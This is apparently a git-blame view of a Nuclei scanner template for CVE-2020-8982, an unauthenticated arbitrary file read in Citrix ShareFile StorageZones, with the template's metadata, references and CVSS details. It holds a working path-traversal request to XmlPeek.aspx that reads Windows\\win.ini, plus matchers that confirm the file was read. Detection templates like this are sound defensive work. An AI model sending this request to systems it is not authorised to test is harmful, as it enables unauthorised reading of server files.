2021-01-02 04:56:15 +00:00
id : CVE-2020-8982
2020-07-03 17:56:16 +00:00
info :
2022-06-27 18:15:00 +00:00
name : Citrix ShareFile StorageZones <=5.10.x - Arbitrary File Read
2020-07-03 17:56:16 +00:00
author : dwisiswant0
severity : high
2022-06-27 18:15:00 +00:00
description : Citrix ShareFile StorageZones (aka storage zones) Controller versions through at least 5.10.x are susceptible to an unauthenticated arbitrary file read vulnerability.
2023-09-06 12:22:36 +00:00
remediation : |
Upgrade Citrix ShareFile StorageZones to version 5.11 or higher to mitigate the vulnerability.
2022-04-22 10:38:41 +00:00
reference :
- https://support.citrix.com/article/CTX269106
2022-05-17 09:18:12 +00:00
- https://drive.google.com/file/d/1Izd5MF_HHuq8YSwAyJLBErWL_nbe6f9v/view
- https://www.linkedin.com/posts/jonas-hansen-2a2606b_citrix-sharefile-storage-zones-controller-activity-6663432907455025152-8_w6/
2022-06-27 18:40:32 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2020-8982
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
2022-04-22 10:38:41 +00:00
cvss-score : 7.5
2021-09-10 11:26:40 +00:00
cve-id : CVE-2020-8982
cwe-id : CWE-22
2023-10-14 11:27:55 +00:00
epss-score : 0.81478
2023-11-05 22:23:39 +00:00
epss-percentile : 0.98005
2023-09-06 12:22:36 +00:00
cpe : cpe:2.3:a:citrix:sharefile_storagezones_controller:*:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : citrix
product : sharefile_storagezones_controller
tags : cve,cve2020,citrix,lfi
2020-07-03 17:56:16 +00:00
2023-04-27 04:28:59 +00:00
http :
2020-07-03 17:56:16 +00:00
- method : GET
path :
- "{{BaseURL}}/XmlPeek.aspx?dt=\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\Windows\\\\win.ini&x=/validate.ashx?requri"
2022-06-28 03:09:11 +00:00
2020-07-03 17:56:16 +00:00
matchers-condition : and
matchers :
- type : word
2022-06-28 03:09:11 +00:00
part : body
2020-07-03 17:56:16 +00:00
words :
- "bit app support"
- "fonts"
- "extensions"
condition : and
2022-06-28 03:09:11 +00:00
- type : status
status :
- 200
2023-11-06 06:48:30 +00:00
# digest: 4a0a00473045022100c0cfa99558c87c8eac9235a2b024042fc8b4e174d3d1dda7727eb7aea51d67b902207d8dd8e8e02aae585f09d5d753922aba4c0b7e53c181fb195eee0e4f38bb00f8:922c64590222798bb761d5b6d8e72950